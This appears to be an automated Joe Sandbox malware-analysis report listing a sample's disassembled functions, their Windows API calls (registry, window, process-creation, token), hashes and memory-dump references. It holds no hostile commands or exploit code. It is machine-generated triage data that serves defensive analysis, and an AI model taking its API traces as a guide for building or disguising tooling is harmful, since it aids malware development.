MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0062DC2F
SysAllocString.OLEAUT32(00000000), ref: 0062DC32
SysAllocString.OLEAUT32 ref: 0062DC53
SysFreeString.OLEAUT32 ref: 0062DC5C
StringFromGUID2.OLE32(?,?,00000028), ref: 0062DC76
SysAllocString.OLEAUT32(?), ref: 0062DC84

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 6e2e7ad62873f1ffb73877c879046b0082c9f725297bd989a2e4d68b639dc5ad
Instruction ID: bd44f99b6919562ae9473f8daacafe87954800d4add17ae9a3c1a32aa65e9440
Opcode Fuzzy Hash: 6e2e7ad62873f1ffb73877c879046b0082c9f725297bd989a2e4d68b639dc5ad
Instruction Fuzzy Hash: 0821B375705614AF9B10EFA8EC88CBB77EDEB08360B108125F904CB2A1DAB0EC41CB64

Function 006575CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005D1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 005D1D73
Part of subcall function 005D1D35: GetStockObject.GDI32(00000011), ref: 005D1D87
Part of subcall function 005D1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 005D1D91

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00657632
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0065763F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0065764A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00657659
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00657665

Strings

Msctls_Progress32, xrefs: 00657603

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: b247f94ec5a981cadde888363d67cceaf9baaa98428f125fd529c78bbb8d4031
Instruction ID: aa4c81dd5bfc056953fb96e19cd93522813ab00d2a830ddc2aec304d9d8245c6
Opcode Fuzzy Hash: b247f94ec5a981cadde888363d67cceaf9baaa98428f125fd529c78bbb8d4031
Instruction Fuzzy Hash: 9F11B2B2110219BFEF159F64CC85EE77F6EEF08798F014115BA04A61A0CB72AC21DBA4

Function 005F9AE6 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 005F9AE6

Part of subcall function 005F3187: EncodePointer.KERNEL32(00000000), ref: 005F318A
Part of subcall function 005F3187: __initp_misc_winsig.LIBCMT ref: 005F31A5
Part of subcall function 005F3187: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 005F9EA0
Part of subcall function 005F3187: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 005F9EB4
Part of subcall function 005F3187: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 005F9EC7
Part of subcall function 005F3187: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 005F9EDA
Part of subcall function 005F3187: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 005F9EED
Part of subcall function 005F3187: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 005F9F00
Part of subcall function 005F3187: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 005F9F13
Part of subcall function 005F3187: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 005F9F26
Part of subcall function 005F3187: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 005F9F39
Part of subcall function 005F3187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 005F9F4C
Part of subcall function 005F3187: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 005F9F5F
Part of subcall function 005F3187: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 005F9F72
Part of subcall function 005F3187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 005F9F85
Part of subcall function 005F3187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 005F9F98
Part of subcall function 005F3187: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 005F9FAB
Part of subcall function 005F3187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 005F9FBE

__mtinitlocks.LIBCMT ref: 005F9AEB
__mtterm.LIBCMT ref: 005F9AF4

Part of subcall function 005F9B5C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,005F9AF9,005F7CD0,0068A0B8,00000014), ref: 005F9C56
Part of subcall function 005F9B5C: _free.LIBCMT ref: 005F9C5D
Part of subcall function 005F9B5C: DeleteCriticalSection.KERNEL32(02i,?,?,005F9AF9,005F7CD0,0068A0B8,00000014), ref: 005F9C7F

__calloc_crt.LIBCMT ref: 005F9B19
__initptd.LIBCMT ref: 005F9B3B
GetCurrentThreadId.KERNEL32 ref: 005F9B42

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: a92a7e3c278bce3a44a8f224026b9c251f4a3dafa7f3901325a05f00ac4f50fe
Instruction ID: ab67f3f0b664b051bf091a9c4bf13282e29a9542b25d2bc9195692e6e821f16b
Opcode Fuzzy Hash: a92a7e3c278bce3a44a8f224026b9c251f4a3dafa7f3901325a05f00ac4f50fe
Instruction Fuzzy Hash: 6BF06232659F1A69E73477747C0BB7A2E91BB82734F200619F754C60D6EE6984414260

Function 0065B635 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0065B644
_memset.LIBCMT ref: 0065B653
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00696F20,00696F64), ref: 0065B682
CloseHandle.KERNEL32 ref: 0065B694

Strings

doi, xrefs: 0065B64D
oi, xrefs: 0065B63E

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID: oi$doi
API String ID: 3277943733-2312420176
Opcode ID: 4672561de7d9c82de855e24743f947735d109fb369a54fee71912a28cd4ccb1a
Instruction ID: 88b95082cf80cd178cc024dbb94fceaaf9fd1d0d92ffc216b0891c35d4e8b454
Opcode Fuzzy Hash: 4672561de7d9c82de855e24743f947735d109fb369a54fee71912a28cd4ccb1a
Instruction Fuzzy Hash: 80F0FEF25403047AF7106B65FC0AFBB7E9FEB09795F005021BA08E65A2D7755C1187A8

Function 005F406B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,005F3F85), ref: 005F4085
GetProcAddress.KERNEL32(00000000), ref: 005F408C
EncodePointer.KERNEL32(00000000), ref: 005F4097
DecodePointer.KERNEL32(005F3F85), ref: 005F40B2

Strings

combase.dll, xrefs: 005F4080
RoUninitialize, xrefs: 005F4074

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: b301b3f3b44cc17c7a8fe3f61d4d1f630e3dad1569da41dc0e9e57bffed19a63
Instruction ID: 2ded83c9400d00a756a0e64ee2852c07d006dfe7e3ab80f9091470411215ef3e
Opcode Fuzzy Hash: b301b3f3b44cc17c7a8fe3f61d4d1f630e3dad1569da41dc0e9e57bffed19a63
Instruction Fuzzy Hash: D9E0B670581711EFEB20EF61EC0DB263AABBB04783F106026F205E5AB0CFB64604CE54

Function 006364B8 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0063660B
_memmove.LIBCMT ref: 00636546

Part of subcall function 005D9837: __itow.LIBCMT ref: 005D9862
Part of subcall function 005D9837: __swprintf.LIBCMT ref: 005D98AC

_memmove.LIBCMT ref: 006365B9
_memmove.LIBCMT ref: 006366A0
_memmove.LIBCMT ref: 006366B9
_memmove.LIBCMT ref: 006366D5

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 01f6861b9c9f464f3e444165d26c031541feffe0c99e54a007fe9ecc55138285
Instruction ID: 0ea14fc9559b6a1a3afbe726a32061f7b478fff991f425c42bb99b5b2e65d93d
Opcode Fuzzy Hash: 01f6861b9c9f464f3e444165d26c031541feffe0c99e54a007fe9ecc55138285
Instruction Fuzzy Hash: FB61A03190065AABCF11EF64CC86EFE3BAABF85308F04851AF9555B292DB34DC05DB91

Function 006501E4 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 005D7DE1: _memmove.LIBCMT ref: 005D7E22

Part of subcall function 00650E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0064FDAD,?,?), ref: 00650E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 006502BD
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 006502FD
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00650320
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00650349
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0065038C
RegCloseKey.ADVAPI32(00000000), ref: 00650399

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 5dedd3d6c60515ffe8047829b32bb0e347f6ee7190b95e3fa7a52e7b4b43a8d6
Instruction ID: 76269ab55728fae966afca1bb971b8ca52e196d1cabdeb1b249d7ff905764fe7
Opcode Fuzzy Hash: 5dedd3d6c60515ffe8047829b32bb0e347f6ee7190b95e3fa7a52e7b4b43a8d6
Instruction Fuzzy Hash: 85515C31108305AFD714EF68C859EAEBBEAFF84314F04491EF945872A2DB31E909CB52

Function 00655799 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 006557FB
GetMenuItemCount.USER32(00000000), ref: 00655832
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 0065585A
GetMenuItemID.USER32(?,?), ref: 006558C9
GetSubMenu.USER32(?,?), ref: 006558D7
PostMessageW.USER32(?,00000111,?,00000000), ref: 00655928

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: cba30494b8e44e8f62212d811c02c374e8415add3cb015799f593e62a5f03f25
Instruction ID: d0bdb36d7171f6aeeeacc14067d4fdd4cc35c9ac65acd6c31580bc451cdb5eeb
Opcode Fuzzy Hash: cba30494b8e44e8f62212d811c02c374e8415add3cb015799f593e62a5f03f25
Instruction Fuzzy Hash: E3514E31E00625EFCF11EF64C8599AEBBB6FF48311F14405AED52AB351CB34AE458B90

Function 0062EEEC Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0062EF06
VariantClear.OLEAUT32(00000013), ref: 0062EF78
VariantClear.OLEAUT32(00000000), ref: 0062EFD3
_memmove.LIBCMT ref: 0062EFFD
VariantClear.OLEAUT32(?), ref: 0062F04A
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 0062F078

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: e21115dc194fffc55d98d385de41930edf4868ee2075393ef6dee27bcb07458b
Instruction ID: ea6601380306b1d84b69245b3bb1492a1a39c48d8efdc603e0b9b2ebec2aa133
Opcode Fuzzy Hash: e21115dc194fffc55d98d385de41930edf4868ee2075393ef6dee27bcb07458b
Instruction Fuzzy Hash: 3F5166B5A00219EFCB10DF58D894AAAB7F9FF4C310B15856AE949DB301E335E911CFA0

Function 0063220A Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00632258
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 006322A3
IsMenu.USER32(00000000), ref: 006322C3
CreatePopupMenu.USER32 ref: 006322F7
GetMenuItemCount.USER32(000000FF), ref: 00632355
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00632386

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: ff5c76671f03366eb457c9a777865d4d8769416811cee9ed403208af5564ef3b
Instruction ID: 5574d8bc3aa6b84c346968de8d46f5d1e77f11056c4814f0d3181e06c46d4711
Opcode Fuzzy Hash: ff5c76671f03366eb457c9a777865d4d8769416811cee9ed403208af5564ef3b
Instruction Fuzzy Hash: C451AD7060130BDBEF21CF68D8A8BEEBBF6BF45314F104129E851A7290D7759A45CB91

Function 005D1765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 005D2612: GetWindowLongW.USER32(?,000000EB), ref: 005D2623

BeginPaint.USER32(?,?,?,?,?,?), ref: 005D179A
GetWindowRect.USER32(?,?), ref: 005D17FE
ScreenToClient.USER32(?,?), ref: 005D181B
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 005D182C
EndPaint.USER32(?,?), ref: 005D1876

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 478befe94945db7d1b62c6fd87ef22655a408ec183662848fc80127e0e1e9b63
Instruction ID: 8d8b0deb7a5d874d1eb22336a5e491d292d71a94e59c3896e9bcaff51581ee3d
Opcode Fuzzy Hash: 478befe94945db7d1b62c6fd87ef22655a408ec183662848fc80127e0e1e9b63
Instruction Fuzzy Hash: 1E41A130504B01AFD721DF29CC84FBA7BEAFB45724F04462AF9A58B2B1C7319845DB65

Function 0065B69E Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(006957B0,00000000,00FE5F48,?,?,006957B0,?,0065B5A8,?,?), ref: 0065B712
EnableWindow.USER32(00000000,00000000), ref: 0065B736
ShowWindow.USER32(006957B0,00000000,00FE5F48,?,?,006957B0,?,0065B5A8,?,?), ref: 0065B796
ShowWindow.USER32(00000000,00000004,?,0065B5A8,?,?), ref: 0065B7A8
EnableWindow.USER32(00000000,00000001), ref: 0065B7CC
SendMessageW.USER32(?,0000130C,?,00000000), ref: 0065B7EF

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 4753e202998caa9a632379154a8fd6fe6b4c7b72204e4dbc3a22fce5ee3e192b
Instruction ID: 0d876f4236adfd08c0859693ec33af48cb4ac0335159972b44716705f38f0e02
Opcode Fuzzy Hash: 4753e202998caa9a632379154a8fd6fe6b4c7b72204e4dbc3a22fce5ee3e192b
Instruction Fuzzy Hash: B7416D34600244AFDB26CF24D499BD57BE2FF49312F1851B9ED488F7A2C731A85ACB51

Function 0064709E Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,00644E41,?,?,00000000,00000001), ref: 006470AC

Part of subcall function 006439A0: GetWindowRect.USER32(?,?), ref: 006439B3

GetDesktopWindow.USER32 ref: 006470D6
GetWindowRect.USER32(00000000), ref: 006470DD
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 0064710F

Part of subcall function 00635244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 006352BC

GetCursorPos.USER32(?), ref: 0064713B
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00647199

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: acada5752eb2893dce05ff1546e3a0830a6a7c06879a0a1a7c5c8b36851a4d5a
Instruction ID: 00bfcb6d28ed9744c706d209893e5d7910bc15ced4ab2877602fa12cabfcd239
Opcode Fuzzy Hash: acada5752eb2893dce05ff1546e3a0830a6a7c06879a0a1a7c5c8b36851a4d5a
Instruction Fuzzy Hash: C231D072509305ABD720DF14C849F9BB7AAFF88314F040929F585A7291DB30EA09CBD2

Function 00628879 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006280A9: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 006280C0
Part of subcall function 006280A9: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 006280CA
Part of subcall function 006280A9: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 006280D9
Part of subcall function 006280A9: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 006280E0
Part of subcall function 006280A9: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 006280F6

GetLengthSid.ADVAPI32(?,00000000,0062842F), ref: 006288CA
GetProcessHeap.KERNEL32(00000008,00000000), ref: 006288D6
HeapAlloc.KERNEL32(00000000), ref: 006288DD
CopySid.ADVAPI32(00000000,00000000,?), ref: 006288F6
GetProcessHeap.KERNEL32(00000000,00000000,0062842F), ref: 0062890A
HeapFree.KERNEL32(00000000), ref: 00628911

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: b46491e158bd417d31e4e2204f098712fca41536768daa25472ab2ead4b2ef3d
Instruction ID: 167abb0de865da123737da19ea406c1484e8d9cdc74ceb63aa321f212bcb9f4d
Opcode Fuzzy Hash: b46491e158bd417d31e4e2204f098712fca41536768daa25472ab2ead4b2ef3d
Instruction Fuzzy Hash: BC11AF31902A19FFDB10DFA8EC09BBE776AEB44312F148028E88597210CB369940DB60

Function 006285B1 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 006285E2
OpenProcessToken.ADVAPI32(00000000), ref: 006285E9
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 006285F8
CloseHandle.KERNEL32(00000004), ref: 00628603
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00628632
DestroyEnvironmentBlock.USERENV(00000000), ref: 00628646

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: dbc8324ff99f41046574e9c252bfd449262dc752388f68a78f370456bb2c3a6b
